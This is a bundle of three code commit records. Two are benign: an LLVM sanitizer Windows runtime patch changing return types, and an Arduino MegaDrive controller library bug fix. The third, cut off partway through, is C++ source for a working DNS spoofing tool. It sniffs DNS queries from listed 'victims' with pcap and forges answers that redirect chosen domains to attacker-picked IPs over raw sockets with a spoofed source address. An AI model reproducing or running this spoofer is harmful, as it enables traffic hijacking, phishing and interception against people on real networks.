<commit_before>//===-- sanitizer_win.cc --------------------------------------------------===//
//
//                     The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file is shared between AddressSanitizer and ThreadSanitizer
// run-time libraries and implements windows-specific functions from
// sanitizer_libc.h.
//===----------------------------------------------------------------------===//

#include "sanitizer_platform.h"
#if SANITIZER_WINDOWS

#define WIN32_LEAN_AND_MEAN
#define NOGDI
#include <stdlib.h>
#include <io.h>
#include <windows.h>

#include "sanitizer_common.h"
#include "sanitizer_libc.h"
#include "sanitizer_mutex.h"
#include "sanitizer_placement_new.h"
#include "sanitizer_stacktrace.h"

namespace __sanitizer {

#include "sanitizer_syscall_generic.inc"

// --------------------- sanitizer_common.h
uptr GetPageSize() {
  return 1U << 14;  // FIXME: is this configurable?
}

uptr GetMmapGranularity() {
  return 1U << 16;  // FIXME: is this configurable?
}

bool FileExists(const char *filename) {
  UNIMPLEMENTED();
}

int GetPid() {
  return GetProcessId(GetCurrentProcess());
}

// In contrast to POSIX, on Windows GetCurrentThreadId()
// returns a system-unique identifier.
uptr GetTid() {
  return GetCurrentThreadId();
}

uptr GetThreadSelf() {
  return GetTid();
}

void GetThreadStackTopAndBottom(bool at_initialization, uptr *stack_top,
                                uptr *stack_bottom) {
  CHECK(stack_top);
  CHECK(stack_bottom);
  MEMORY_BASIC_INFORMATION mbi;
  CHECK_NE(VirtualQuery(&mbi /* on stack */, &mbi, sizeof(mbi)), 0);
  // FIXME: is it possible for the stack to not be a single allocation?
  // Are these values what ASan expects to get (reserved, not committed;
  // including stack guard page) ?
  *stack_top = (uptr)mbi.BaseAddress + mbi.RegionSize;
  *stack_bottom = (uptr)mbi.AllocationBase;
}

void *MmapOrDie(uptr size, const char *mem_type) {
  void *rv = VirtualAlloc(0, size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  if (rv == 0) {
    Report("ERROR: Failed to allocate 0x%zx (%zd) bytes of %s\n",
           size, size, mem_type);
    CHECK("unable to mmap" && 0);
  }
  return rv;
}

void UnmapOrDie(void *addr, uptr size) {
  if (VirtualFree(addr, size, MEM_DECOMMIT) == 0) {
    Report("ERROR: Failed to deallocate 0x%zx (%zd) bytes at address %p\n",
           size, size, addr);
    CHECK("unable to unmap" && 0);
  }
}

void *MmapFixedNoReserve(uptr fixed_addr, uptr size) {
  // FIXME: is this really "NoReserve"? On Win32 this does not matter much,
  // but on Win64 it does.
  void *p = VirtualAlloc((LPVOID)fixed_addr, size,
      MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  if (p == 0)
    Report("ERROR: Failed to allocate 0x%zx (%zd) bytes at %p (%d)\n",
           size, size, fixed_addr, GetLastError());
  return p;
}

void *MmapFixedOrDie(uptr fixed_addr, uptr size) {
  return MmapFixedNoReserve(fixed_addr, size);
}

void *Mprotect(uptr fixed_addr, uptr size) {
  return VirtualAlloc((LPVOID)fixed_addr, size,
                      MEM_RESERVE | MEM_COMMIT, PAGE_NOACCESS);
}

void FlushUnneededShadowMemory(uptr addr, uptr size) {
  // This is almost useless on 32-bits.
  // FIXME: add madvice-analog when we move to 64-bits.
}

bool MemoryRangeIsAvailable(uptr range_start, uptr range_end) {
  // FIXME: shall we do anything here on Windows?
  return true;
}

void *MapFileToMemory(const char *file_name, uptr *buff_size) {
  UNIMPLEMENTED();
}

static const int kMaxEnvNameLength = 128;
static const int kMaxEnvValueLength = 32767;

namespace {

struct EnvVariable {
  char name[kMaxEnvNameLength];
  char value[kMaxEnvValueLength];
};

}  // namespace

static const int kEnvVariables = 5;
static EnvVariable env_vars[kEnvVariables];
static int num_env_vars;

const char *GetEnv(const char *name) {
  // Note: this implementation caches the values of the environment variables
  // and limits their quantity.
  for (int i = 0; i < num_env_vars; i++) {
    if (0 == internal_strcmp(name, env_vars[i].name))
      return env_vars[i].value;
  }
  CHECK_LT(num_env_vars, kEnvVariables);
  DWORD rv = GetEnvironmentVariableA(name, env_vars[num_env_vars].value,
                                     kMaxEnvValueLength);
  if (rv > 0 && rv < kMaxEnvValueLength) {
    CHECK_LT(internal_strlen(name), kMaxEnvNameLength);
    internal_strncpy(env_vars[num_env_vars].name, name, kMaxEnvNameLength);
    num_env_vars++;
    return env_vars[num_env_vars - 1].value;
  }
  return 0;
}

const char *GetPwd() {
  UNIMPLEMENTED();
}

u32 GetUid() {
  UNIMPLEMENTED();
}

void DumpProcessMap() {
  UNIMPLEMENTED();
}

void DisableCoreDumper() {
  UNIMPLEMENTED();
}

void ReExec() {
  UNIMPLEMENTED();
}

void PrepareForSandboxing() {
  // Nothing here for now.
}

bool StackSizeIsUnlimited() {
  UNIMPLEMENTED();
}

void SetStackSizeLimitInBytes(uptr limit) {
  UNIMPLEMENTED();
}

void SleepForSeconds(int seconds) {
  Sleep(seconds * 1000);
}

void SleepForMillis(int millis) {
  Sleep(millis);
}

void Abort() {
  abort();
  _exit(-1);  // abort is not NORETURN on Windows.
}

#ifndef SANITIZER_GO
int Atexit(void (*function)(void)) {
  return atexit(function);
}
#endif

// ------------------ sanitizer_libc.h
void *internal_mmap(void *addr, uptr length, int prot, int flags,
                    int fd, u64 offset) {
  UNIMPLEMENTED();
}

int internal_munmap(void *addr, uptr length) {
  UNIMPLEMENTED();
}

uptr internal_close(fd_t fd) {
  UNIMPLEMENTED();
}

int internal_isatty(fd_t fd) {
  return _isatty(fd);
}

fd_t internal_open(const char *filename, int flags) {
  UNIMPLEMENTED();
}

fd_t internal_open(const char *filename, int flags, u32 mode) {
  UNIMPLEMENTED();
}

uptr OpenFile(const char *filename, bool write) {
  UNIMPLEMENTED();
}

uptr internal_read(fd_t fd, void *buf, uptr count) {
  UNIMPLEMENTED();
}

uptr internal_write(fd_t fd, const void *buf, uptr count) {
  if (fd != kStderrFd)
    UNIMPLEMENTED();
  HANDLE err = GetStdHandle(STD_ERROR_HANDLE);
  if (err == 0)
    return 0;  // FIXME: this might not work on some apps.
  DWORD ret;
  if (!WriteFile(err, buf, count, &ret, 0))
    return 0;
  return ret;
}

uptr internal_stat(const char *path, void *buf) {
  UNIMPLEMENTED();
}

uptr internal_lstat(const char *path, void *buf) {
  UNIMPLEMENTED();
}

uptr internal_fstat(fd_t fd, void *buf) {
  UNIMPLEMENTED();
}

uptr internal_filesize(fd_t fd) {
  UNIMPLEMENTED();
}

uptr internal_dup2(int oldfd, int newfd) {
  UNIMPLEMENTED();
}

uptr internal_readlink(const char *path, char *buf, uptr bufsize) {
  UNIMPLEMENTED();
}

uptr internal_sched_yield() {
  Sleep(0);
  return 0;
}

void internal__exit(int exitcode) {
  _exit(exitcode);
}

// ---------------------- BlockingMutex ---------------- {{{1
const uptr LOCK_UNINITIALIZED = 0;
const uptr LOCK_READY = (uptr)-1;

BlockingMutex::BlockingMutex(LinkerInitialized li) {
  // FIXME: see comments in BlockingMutex::Lock() for the details.
  CHECK(li == LINKER_INITIALIZED || owner_ == LOCK_UNINITIALIZED);

  CHECK(sizeof(CRITICAL_SECTION) <= sizeof(opaque_storage_));
  InitializeCriticalSection((LPCRITICAL_SECTION)opaque_storage_);
  owner_ = LOCK_READY;
}

BlockingMutex::BlockingMutex() {
  CHECK(sizeof(CRITICAL_SECTION) <= sizeof(opaque_storage_));
  InitializeCriticalSection((LPCRITICAL_SECTION)opaque_storage_);
  owner_ = LOCK_READY;
}

void BlockingMutex::Lock() {
  if (owner_ == LOCK_UNINITIALIZED) {
    // FIXME: hm, global BlockingMutex objects are not initialized?!?
    // This might be a side effect of the clang+cl+link Frankenbuild...
    new(this) BlockingMutex((LinkerInitialized)(LINKER_INITIALIZED + 1));

    // FIXME: If it turns out the linker doesn't invoke our
    // constructors, we should probably manually Lock/Unlock all the global
    // locks while we're starting in one thread to avoid double-init races.
  }
  EnterCriticalSection((LPCRITICAL_SECTION)opaque_storage_);
  CHECK_EQ(owner_, LOCK_READY);
  owner_ = GetThreadSelf();
}

void BlockingMutex::Unlock() {
  CHECK_EQ(owner_, GetThreadSelf());
  owner_ = LOCK_READY;
  LeaveCriticalSection((LPCRITICAL_SECTION)opaque_storage_);
}

void BlockingMutex::CheckLocked() {
  CHECK_EQ(owner_, GetThreadSelf());
}

uptr GetTlsSize() {
  return 0;
}

void InitTlsSize() {
}

void GetThreadStackAndTls(bool main, uptr *stk_addr, uptr *stk_size,
                          uptr *tls_addr, uptr *tls_size) {
  uptr stack_top, stack_bottom;
  GetThreadStackTopAndBottom(main, &stack_top, &stack_bottom);
  *stk_addr = stack_bottom;
  *stk_size = stack_top - stack_bottom;
  *tls_addr = 0;
  *tls_size = 0;
}

void GetStackTrace(StackTrace *stack, uptr max_s, uptr pc, uptr bp,
                   uptr stack_top, uptr stack_bottom, bool fast) {
  (void)fast;
  (void)stack_top;
  (void)stack_bottom;
  stack->max_size = max_s;
  void *tmp[kStackTraceMax];

  // FIXME: CaptureStackBackTrace might be too slow for us.
  // FIXME: Compare with StackWalk64.
  // FIXME: Look at LLVMUnhandledExceptionFilter in Signals.inc
  uptr cs_ret = CaptureStackBackTrace(1, stack->max_size, tmp, 0);
  uptr offset = 0;
  // Skip the RTL frames by searching for the PC in the stacktrace.
  // FIXME: this doesn't work well for the malloc/free stacks yet.
  for (uptr i = 0; i < cs_ret; i++) {
    if (pc != (uptr)tmp[i])
      continue;
    offset = i;
    break;
  }

  stack->size = cs_ret - offset;
  for (uptr i = 0; i < stack->size; i++)
    stack->trace[i] = (uptr)tmp[i + offset];
}

}  // namespace __sanitizer

#endif  // _WIN32
<commit_msg>Try to fix Windows build too<commit_after>//===-- sanitizer_win.cc --------------------------------------------------===//
//
//                     The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file is shared between AddressSanitizer and ThreadSanitizer
// run-time libraries and implements windows-specific functions from
// sanitizer_libc.h.
//===----------------------------------------------------------------------===//

#include "sanitizer_platform.h"
#if SANITIZER_WINDOWS

#define WIN32_LEAN_AND_MEAN
#define NOGDI
#include <stdlib.h>
#include <io.h>
#include <windows.h>

#include "sanitizer_common.h"
#include "sanitizer_libc.h"
#include "sanitizer_mutex.h"
#include "sanitizer_placement_new.h"
#include "sanitizer_stacktrace.h"

namespace __sanitizer {

#include "sanitizer_syscall_generic.inc"

// --------------------- sanitizer_common.h
uptr GetPageSize() {
  return 1U << 14;  // FIXME: is this configurable?
}

uptr GetMmapGranularity() {
  return 1U << 16;  // FIXME: is this configurable?
}

bool FileExists(const char *filename) {
  UNIMPLEMENTED();
}

int GetPid() {
  return GetProcessId(GetCurrentProcess());
}

// In contrast to POSIX, on Windows GetCurrentThreadId()
// returns a system-unique identifier.
uptr GetTid() {
  return GetCurrentThreadId();
}

uptr GetThreadSelf() {
  return GetTid();
}

void GetThreadStackTopAndBottom(bool at_initialization, uptr *stack_top,
                                uptr *stack_bottom) {
  CHECK(stack_top);
  CHECK(stack_bottom);
  MEMORY_BASIC_INFORMATION mbi;
  CHECK_NE(VirtualQuery(&mbi /* on stack */, &mbi, sizeof(mbi)), 0);
  // FIXME: is it possible for the stack to not be a single allocation?
  // Are these values what ASan expects to get (reserved, not committed;
  // including stack guard page) ?
  *stack_top = (uptr)mbi.BaseAddress + mbi.RegionSize;
  *stack_bottom = (uptr)mbi.AllocationBase;
}

void *MmapOrDie(uptr size, const char *mem_type) {
  void *rv = VirtualAlloc(0, size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  if (rv == 0) {
    Report("ERROR: Failed to allocate 0x%zx (%zd) bytes of %s\n",
           size, size, mem_type);
    CHECK("unable to mmap" && 0);
  }
  return rv;
}

void UnmapOrDie(void *addr, uptr size) {
  if (VirtualFree(addr, size, MEM_DECOMMIT) == 0) {
    Report("ERROR: Failed to deallocate 0x%zx (%zd) bytes at address %p\n",
           size, size, addr);
    CHECK("unable to unmap" && 0);
  }
}

void *MmapFixedNoReserve(uptr fixed_addr, uptr size) {
  // FIXME: is this really "NoReserve"? On Win32 this does not matter much,
  // but on Win64 it does.
  void *p = VirtualAlloc((LPVOID)fixed_addr, size,
      MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  if (p == 0)
    Report("ERROR: Failed to allocate 0x%zx (%zd) bytes at %p (%d)\n",
           size, size, fixed_addr, GetLastError());
  return p;
}

void *MmapFixedOrDie(uptr fixed_addr, uptr size) {
  return MmapFixedNoReserve(fixed_addr, size);
}

void *Mprotect(uptr fixed_addr, uptr size) {
  return VirtualAlloc((LPVOID)fixed_addr, size,
                      MEM_RESERVE | MEM_COMMIT, PAGE_NOACCESS);
}

void FlushUnneededShadowMemory(uptr addr, uptr size) {
  // This is almost useless on 32-bits.
  // FIXME: add madvice-analog when we move to 64-bits.
}

bool MemoryRangeIsAvailable(uptr range_start, uptr range_end) {
  // FIXME: shall we do anything here on Windows?
  return true;
}

void *MapFileToMemory(const char *file_name, uptr *buff_size) {
  UNIMPLEMENTED();
}

static const int kMaxEnvNameLength = 128;
static const int kMaxEnvValueLength = 32767;

namespace {

struct EnvVariable {
  char name[kMaxEnvNameLength];
  char value[kMaxEnvValueLength];
};

}  // namespace

static const int kEnvVariables = 5;
static EnvVariable env_vars[kEnvVariables];
static int num_env_vars;

const char *GetEnv(const char *name) {
  // Note: this implementation caches the values of the environment variables
  // and limits their quantity.
  for (int i = 0; i < num_env_vars; i++) {
    if (0 == internal_strcmp(name, env_vars[i].name))
      return env_vars[i].value;
  }
  CHECK_LT(num_env_vars, kEnvVariables);
  DWORD rv = GetEnvironmentVariableA(name, env_vars[num_env_vars].value,
                                     kMaxEnvValueLength);
  if (rv > 0 && rv < kMaxEnvValueLength) {
    CHECK_LT(internal_strlen(name), kMaxEnvNameLength);
    internal_strncpy(env_vars[num_env_vars].name, name, kMaxEnvNameLength);
    num_env_vars++;
    return env_vars[num_env_vars - 1].value;
  }
  return 0;
}

const char *GetPwd() {
  UNIMPLEMENTED();
}

u32 GetUid() {
  UNIMPLEMENTED();
}

void DumpProcessMap() {
  UNIMPLEMENTED();
}

void DisableCoreDumper() {
  UNIMPLEMENTED();
}

void ReExec() {
  UNIMPLEMENTED();
}

void PrepareForSandboxing() {
  // Nothing here for now.
}

bool StackSizeIsUnlimited() {
  UNIMPLEMENTED();
}

void SetStackSizeLimitInBytes(uptr limit) {
  UNIMPLEMENTED();
}

void SleepForSeconds(int seconds) {
  Sleep(seconds * 1000);
}

void SleepForMillis(int millis) {
  Sleep(millis);
}

void Abort() {
  abort();
  _exit(-1);  // abort is not NORETURN on Windows.
}

#ifndef SANITIZER_GO
int Atexit(void (*function)(void)) {
  return atexit(function);
}
#endif

// ------------------ sanitizer_libc.h
uptr internal_mmap(void *addr, uptr length, int prot, int flags,
                   int fd, u64 offset) {
  UNIMPLEMENTED();
}

uptr internal_munmap(void *addr, uptr length) {
  UNIMPLEMENTED();
}

uptr internal_close(fd_t fd) {
  UNIMPLEMENTED();
}

int internal_isatty(fd_t fd) {
  return _isatty(fd);
}

uptr internal_open(const char *filename, int flags) {
  UNIMPLEMENTED();
}

uptr internal_open(const char *filename, int flags, u32 mode) {
  UNIMPLEMENTED();
}

uptr OpenFile(const char *filename, bool write) {
  UNIMPLEMENTED();
}

uptr internal_read(fd_t fd, void *buf, uptr count) {
  UNIMPLEMENTED();
}

uptr internal_write(fd_t fd, const void *buf, uptr count) {
  if (fd != kStderrFd)
    UNIMPLEMENTED();
  HANDLE err = GetStdHandle(STD_ERROR_HANDLE);
  if (err == 0)
    return 0;  // FIXME: this might not work on some apps.
  DWORD ret;
  if (!WriteFile(err, buf, count, &ret, 0))
    return 0;
  return ret;
}

uptr internal_stat(const char *path, void *buf) {
  UNIMPLEMENTED();
}

uptr internal_lstat(const char *path, void *buf) {
  UNIMPLEMENTED();
}

uptr internal_fstat(fd_t fd, void *buf) {
  UNIMPLEMENTED();
}

uptr internal_filesize(fd_t fd) {
  UNIMPLEMENTED();
}

uptr internal_dup2(int oldfd, int newfd) {
  UNIMPLEMENTED();
}

uptr internal_readlink(const char *path, char *buf, uptr bufsize) {
  UNIMPLEMENTED();
}

uptr internal_sched_yield() {
  Sleep(0);
  return 0;
}

void internal__exit(int exitcode) {
  _exit(exitcode);
}

// ---------------------- BlockingMutex ---------------- {{{1
const uptr LOCK_UNINITIALIZED = 0;
const uptr LOCK_READY = (uptr)-1;

BlockingMutex::BlockingMutex(LinkerInitialized li) {
  // FIXME: see comments in BlockingMutex::Lock() for the details.
  CHECK(li == LINKER_INITIALIZED || owner_ == LOCK_UNINITIALIZED);

  CHECK(sizeof(CRITICAL_SECTION) <= sizeof(opaque_storage_));
  InitializeCriticalSection((LPCRITICAL_SECTION)opaque_storage_);
  owner_ = LOCK_READY;
}

BlockingMutex::BlockingMutex() {
  CHECK(sizeof(CRITICAL_SECTION) <= sizeof(opaque_storage_));
  InitializeCriticalSection((LPCRITICAL_SECTION)opaque_storage_);
  owner_ = LOCK_READY;
}

void BlockingMutex::Lock() {
  if (owner_ == LOCK_UNINITIALIZED) {
    // FIXME: hm, global BlockingMutex objects are not initialized?!?
    // This might be a side effect of the clang+cl+link Frankenbuild...
    new(this) BlockingMutex((LinkerInitialized)(LINKER_INITIALIZED + 1));

    // FIXME: If it turns out the linker doesn't invoke our
    // constructors, we should probably manually Lock/Unlock all the global
    // locks while we're starting in one thread to avoid double-init races.
  }
  EnterCriticalSection((LPCRITICAL_SECTION)opaque_storage_);
  CHECK_EQ(owner_, LOCK_READY);
  owner_ = GetThreadSelf();
}

void BlockingMutex::Unlock() {
  CHECK_EQ(owner_, GetThreadSelf());
  owner_ = LOCK_READY;
  LeaveCriticalSection((LPCRITICAL_SECTION)opaque_storage_);
}

void BlockingMutex::CheckLocked() {
  CHECK_EQ(owner_, GetThreadSelf());
}

uptr GetTlsSize() {
  return 0;
}

void InitTlsSize() {
}

void GetThreadStackAndTls(bool main, uptr *stk_addr, uptr *stk_size,
                          uptr *tls_addr, uptr *tls_size) {
  uptr stack_top, stack_bottom;
  GetThreadStackTopAndBottom(main, &stack_top, &stack_bottom);
  *stk_addr = stack_bottom;
  *stk_size = stack_top - stack_bottom;
  *tls_addr = 0;
  *tls_size = 0;
}

void GetStackTrace(StackTrace *stack, uptr max_s, uptr pc, uptr bp,
                   uptr stack_top, uptr stack_bottom, bool fast) {
  (void)fast;
  (void)stack_top;
  (void)stack_bottom;
  stack->max_size = max_s;
  void *tmp[kStackTraceMax];

  // FIXME: CaptureStackBackTrace might be too slow for us.
  // FIXME: Compare with StackWalk64.
  // FIXME: Look at LLVMUnhandledExceptionFilter in Signals.inc
  uptr cs_ret = CaptureStackBackTrace(1, stack->max_size, tmp, 0);
  uptr offset = 0;
  // Skip the RTL frames by searching for the PC in the stacktrace.
  // FIXME: this doesn't work well for the malloc/free stacks yet.
  for (uptr i = 0; i < cs_ret; i++) {
    if (pc != (uptr)tmp[i])
      continue;
    offset = i;
    break;
  }

  stack->size = cs_ret - offset;
  for (uptr i = 0; i < stack->size; i++)
    stack->trace[i] = (uptr)tmp[i + offset];
}

}  // namespace __sanitizer

#endif  // _WIN32
<|endoftext|>


<commit_before>#include <Arduino.h>

#include "MegaDrive.h"

void MegaDrive<mg_three_button_state>::update_states(void)
{
	digitalWrite(ps.SELECT, LOW);

	state.left 	= !digitalRead(ps.D2);
	state.right 	= !digitalRead(ps.D3);
	state.a 	= !digitalRead(ps.D4);
	state.start 	= !digitalRead(ps.D5);

	digitalWrite(ps.SELECT, HIGH);

	state.up 	= !digitalRead(ps.D0);
	state.down 	= !digitalRead(ps.D1);
	state.b 	= !digitalRead(ps.D4);
	state.c 	= !digitalRead(ps.D5);
}

void MegaDrive<mg_six_button_state>::update_states(void)
{
}

# define CALL_FNC(btn) \
	if (state.btn) { \
		if (call_backs_down.btn##_fnc != (void *)0) { \
			call_backs_down.btn##_fnc(); \
		} \
	} else { \
		if (prev_state.btn) { \
			if (call_backs_up.btn##_fnc != (void *)0) { \
				call_backs_up.btn##_fnc(); \
			} \
			prev_state.btn = state.btn; \
		} \
	}
// end of CALL_FNC

void MegaDrive<mg_three_callbacks>::update_states(void)
{
	digitalWrite(ps.SELECT, LOW);

	state.left 	= !digitalRead(ps.D2);
	state.right 	= !digitalRead(ps.D3);
	state.a 	= !digitalRead(ps.D4);
	state.start 	= !digitalRead(ps.D5);

	digitalWrite(ps.SELECT, HIGH);

	state.up 	= !digitalRead(ps.D0);
	state.down 	= !digitalRead(ps.D1);
	state.b 	= !digitalRead(ps.D4);
	state.c 	= !digitalRead(ps.D5);

	CALL_FNC(left);
	CALL_FNC(right);
	CALL_FNC(a);
	CALL_FNC(start);

	CALL_FNC(up);
	CALL_FNC(down);
	CALL_FNC(b);
	CALL_FNC(c);
}

void MegaDrive<mg_six_callbacks>::update_states(void)
{
}
<commit_msg>libraries: MegaDrive: Bug fix.<commit_after>#include <Arduino.h>

#include "MegaDrive.h"

void MegaDrive<mg_three_button_state>::update_states(void)
{
	digitalWrite(ps.SELECT, LOW);

	state.left 	= !digitalRead(ps.D2);
	state.right 	= !digitalRead(ps.D3);
	state.a 	= !digitalRead(ps.D4);
	state.start 	= !digitalRead(ps.D5);

	digitalWrite(ps.SELECT, HIGH);

	state.up 	= !digitalRead(ps.D0);
	state.down 	= !digitalRead(ps.D1);
	state.b 	= !digitalRead(ps.D4);
	state.c 	= !digitalRead(ps.D5);
}

void MegaDrive<mg_six_button_state>::update_states(void)
{
}

# define CALL_FNC(btn) \
	if (state.btn) { \
		if (call_backs_down.btn##_fnc != (void *)0) { \
			call_backs_down.btn##_fnc(); \
		} \
	} else { \
		if (prev_state.btn) { \
			if (call_backs_up.btn##_fnc != (void *)0) { \
				call_backs_up.btn##_fnc(); \
			} \
		} \
	} \
	prev_state.btn = state.btn;
// end of CALL_FNC

void MegaDrive<mg_three_callbacks>::update_states(void)
{
	digitalWrite(ps.SELECT, LOW);

	state.left 	= !digitalRead(ps.D2);
	state.right 	= !digitalRead(ps.D3);
	state.a 	= !digitalRead(ps.D4);
	state.start 	= !digitalRead(ps.D5);

	digitalWrite(ps.SELECT, HIGH);

	state.up 	= !digitalRead(ps.D0);
	state.down 	= !digitalRead(ps.D1);
	state.b 	= !digitalRead(ps.D4);
	state.c 	= !digitalRead(ps.D5);

	CALL_FNC(left);
	CALL_FNC(right);
	CALL_FNC(a);
	CALL_FNC(start);

	CALL_FNC(up);
	CALL_FNC(down);
	CALL_FNC(b);
	CALL_FNC(c);
}

void MegaDrive<mg_six_callbacks>::update_states(void)
{
}
<|endoftext|>


<commit_before>#include "dns.hpp"
#include <sstream>
#include <pcap.h>
#include <netinet/if_ether.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <iostream>
#include <csignal>
#include <algorithm>
#include <list>

std::string DNSQuery::to_bytes(){
    std::ostringstream oss;
    oss.write(name,strlen(name)+1);
    write_bytes_to_stream(ntohs(type), oss);
    write_bytes_to_stream(ntohs(class_), oss);
    return oss.str();
};

std::string DNSQuery::get_name() {
    if(name!=NULL) {
        ssize_t name_length = strlen(name);
        std::string _name;
        ssize_t pos=0;
        for(;pos<name_length;){
            if(pos!=0)
                _name+=".";
            _name+=std::string(name+pos+1, (uint8_t) name[pos]);
            pos+=name[pos]+1;
        }
        return _name;
    }
    return "";
}

std::string DNSResponse::to_bytes(){
    std::ostringstream oss;
    write_bytes_to_stream(ntohs(name), oss);
    write_bytes_to_stream(ntohs(type), oss);
    write_bytes_to_stream(ntohs(class_), oss);
    write_bytes_to_stream(ntohl(time_to_live), oss);
    write_bytes_to_stream(ntohs(data_length), oss);
    write_bytes_to_stream(address, oss);
    return oss.str();
}
void DNSResponse::calculate_name() {
    /*
     * https://tools.ietf.org/html/rfc1035#section-4.1.4
     * http://stackoverflow.com/questions/9865084/dns-response-answer-authoritative-section
     * 0xc00c - should cover most cases
     */
    name=0b11<<14;
    name+=0xc;
}

std::string DnsSection::to_bytes(){
    std::ostringstream oss;
    for(auto & val: {transaction_ID, flags, questions, answer_PRs, authority_PRs, additional_PRs})
        write_bytes_to_stream(ntohs(val), oss);
    for(auto & query: queries)
        oss<<query.to_bytes();
    for(auto & answer: answers)
        oss<<answer.to_bytes();
    return oss.str();
}

uint32_t bytes_to_int(const char* bytes, const ssize_t len){
    switch (len) {
        case 1:
            return (uint8_t) bytes[0];
        case 2:
            return ntohs(*(reinterpret_cast<const uint16_t *>(bytes)));
        case 4:
            return ntohl(*(reinterpret_cast<const uint32_t *>(bytes)));
    }
    throw std::invalid_argument("len is not a 1,2 or 4");
}

DnsSection parse_dns_section(const char * bytes, ssize_t len){
    DnsSection dns_section= DnsSection();

    dns_section.transaction_ID=bytes_to_int(bytes, 2);
    dns_section.flags=bytes_to_int(bytes+2, 2);
    dns_section.questions=bytes_to_int(bytes+4, 2);
    dns_section.answer_PRs=bytes_to_int(bytes+6, 2);
    dns_section.authority_PRs=bytes_to_int(bytes+8, 2);
    dns_section.additional_PRs=bytes_to_int(bytes+10, 2);
    dns_section.queries = std::vector<DNSQuery>(dns_section.questions);

    const char * question_start_pointer = bytes+12;
    for(int question_number=0; question_number<dns_section.questions; ++question_number){
        ssize_t question_length = strlen(question_start_pointer)+1;
        dns_section.queries[question_number].name=question_start_pointer;
        dns_section.queries[question_number].type=bytes_to_int(question_start_pointer + question_length, 2);
        dns_section.queries[question_number].class_=bytes_to_int(question_start_pointer + question_length + 2, 2);
        question_start_pointer= question_start_pointer+ question_length+2+2;
    }
    return dns_section;
}

uint16_t calculate_ipv4_checksum(const iphdr* ip_hdr){
    //TODO make this work both for big endian and little endian...
    const char * data= (const char* )ip_hdr;
    uint64_t sum=0;
    for(size_t val_num=0;val_num<sizeof(iphdr)/2; ++val_num){
        uint16_t val = *(reinterpret_cast<const uint16_t *>(data+val_num*2));
        sum+=htons(val);
    }
    sum-=htons(ip_hdr->check);
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return ~sum;
}

void send_dns_response(DnsSection dns_section_response, std::string destination_ip, std::string source_ip, u_int16_t port){
    int fd;
    fd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
    struct sockaddr_in dest;
    dest.sin_family = AF_INET;
    dest.sin_port = port;
    inet_pton(AF_INET, destination_ip.c_str(), &dest.sin_addr.s_addr);

    std::string payload = dns_section_response.to_bytes();
    auto payload_size = payload.size();
    iphdr ip_hdr;
    udphdr udp_hdr;
    ip_hdr.ihl = 5; //no Options
    ip_hdr.version = 4;
    ip_hdr.tos = 0; //DSCP
    ip_hdr.tot_len = sizeof(struct ip) + sizeof(struct udphdr) + payload_size;
    ip_hdr.id = 0;
    ip_hdr.frag_off = 0;
    ip_hdr.ttl = 255; //take max because why not
    ip_hdr.protocol = IPPROTO_UDP;
    ip_hdr.saddr = inet_addr (source_ip.c_str());
    ip_hdr.daddr = inet_addr(destination_ip.c_str());
    ip_hdr.check=calculate_ipv4_checksum(&ip_hdr);

    udp_hdr.source = htons(53);
    udp_hdr.dest = port;
    udp_hdr.len = htons(sizeof(struct udphdr) + payload_size);
    udp_hdr.check = 0; // checksum for ipv4 is optional

    std::ostringstream oss;
    oss.write(reinterpret_cast<char *>(&ip_hdr),sizeof(iphdr));
    oss.write(reinterpret_cast<char *>(&udp_hdr),sizeof(udphdr));
    oss<<payload;

    auto data = oss.str();

    if(sendto(fd,data.c_str(),data.size(),0, reinterpret_cast<sockaddr*>(&dest),sizeof(dest))==-1)
        perror("sendto error\n");
}

DnsSection construct_dns_section_response(DnsSection query, const std::string& ip){
    query.flags=0b1000000110000000;
    query.answer_PRs=query.questions;
    for(int question_no=0; question_no<query.questions; ++question_no) {
        auto dns_answer = DNSResponse();
        dns_answer.calculate_name();
        dns_answer.type=0x1; //A
        dns_answer.class_=0x1; //IN
        dns_answer.time_to_live=65;
        dns_answer.data_length=4;
        inet_pton(AF_INET, ip.c_str(), &dns_answer.address);
        query.answers.push_back(dns_answer);
    }
    return query;
}

void dns_frame_handler(u_char *arg_array, const struct pcap_pkthdr *h, const u_char *bytes){
    auto victims  = (std::vector<DNSVictim>*) arg_array;
    ssize_t ip_size = sizeof( struct ip );
    ssize_t udp_size = sizeof( struct udphdr );

//    const struct ether_header *ethernet = ( struct ether_header* ) bytes;
    const struct ip *ip_hdr = reinterpret_cast<const ip*>( bytes + ETH_HLEN );
    if(ip_hdr->ip_v==4){
        const struct udphdr *udp = reinterpret_cast<const udphdr*> (bytes + ETH_HLEN + ip_size );
        const u_char *payload = ( bytes + ETH_HLEN + ip_size + udp_size );
        for(auto victim: *victims)
            if(ip_hdr->ip_src.s_addr == inet_addr(victim.ip.c_str())){
                auto dns_frame = parse_dns_section(reinterpret_cast<const char *>(payload), udp->uh_ulen-8);
                for(auto site_to_spoof: victim.sites){
                    for(auto question: dns_frame.queries){
                        if(site_to_spoof.first == question.get_name()){
                            auto dns_response=construct_dns_section_response(dns_frame, site_to_spoof.second);
                            send_dns_response(dns_response,victim.ip,victim.spoofed_source_ip, udp->uh_sport);
                        }
                    }
                }
            }
    }
}

std::list<pcap_t*> pcap_handles;
void stop_dns_spoofing(){
    std::cout<<"stop_dns_spoofing"<<std::endl;
    while(!pcap_handles.empty()) {
        auto handle = pcap_handles.front();
        if(handle!=NULL)
            pcap_breakloop(handle);
        pcap_handles.pop_front();
    }
}
void sig_handler(int signo){
    stop_dns_spoofing();
}

void run_dns_spoof(const std::string& interface, std::vector<DNSVictim>* victims){
    bpf_u_int32 netp, maskp;
    struct bpf_program fp;

    char errbuf[PCAP_ERRBUF_SIZE];
    int64_t pcap_activate_result;

    pcap_t* handle = pcap_create(interface.c_str(), errbuf);
    if(handle==NULL)
        throw PcapError(errbuf);
    pcap_handles.push_back(handle);
